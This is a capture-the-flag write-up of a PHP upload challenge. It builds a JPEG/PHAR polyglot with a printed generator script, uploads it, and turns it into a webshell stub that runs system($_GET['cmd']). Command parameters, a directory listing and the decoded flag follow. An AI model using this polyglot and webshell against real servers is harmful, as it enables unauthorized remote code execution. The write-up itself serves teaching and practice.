In this challenge we need to upload jpg file which is also a valid phar file, and then we can get RCE using the stub in the phar archive.
We can’t just change the file extension, or add some comment, because we need both phar valid file and jpg file, and this is where i find this paper, disguise phar packages as images.
Here we can see its code, we modify it by a bit and got this code:
<?php
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size."<?php phpinfo(); __HALT_COMPILER(); ?>");
$phar->stopBuffering();
?>
After executing this, we get a the file phar.phar.
We change the extension to jpg:
mv phar.phar phar.jpg
As you can see, the polygot is working!

Now, let’s try to upload this phar.jpg to the server, and access it via admin page.
We get the random name: phpZUq7LP.jpg, so this would be the payload we give to the admin page:
uploads/phpZUq7LP.jpg

Now, let’s upload our webshell:
$phar->setStub($jpeg_header_size."<?php system(\$_GET['cmd']); __HALT_COMPILER(); ?>");
Okay, we give this GET parameter, I gave the new line to see the results more clear:
cmd=echo '\n';ls -la;
and the response:
total 28
drwxrwxrwt 1 www-data www-data 4096 Jul 13 2024 .
drwxr-xr-x 1 root root 4096 Nov 21 2023 ..
-rw-r--r-- 1 root root 19 Dec 10 2021 flag-juygaz36YyTFyT6R.txt
-rw-r--r-- 1 root root 2774 Mar 22 2022 index.php
drwxrwsrwx 1 root root 4096 Aug 19 18:14 uploads

Let’s read flag-juygaz36YyTFyT6R.txt, I’m using base64 because it doesn’t display the content:
cmd=echo '\n';cat flag.txt | base64 -w 0;
And we get back:
Tm93WW91QXJlQmlsaW5ndWFsIQ==
which after decoding gives us:
NowYouAreBilingual!

Flag: NowYouAreBilingual!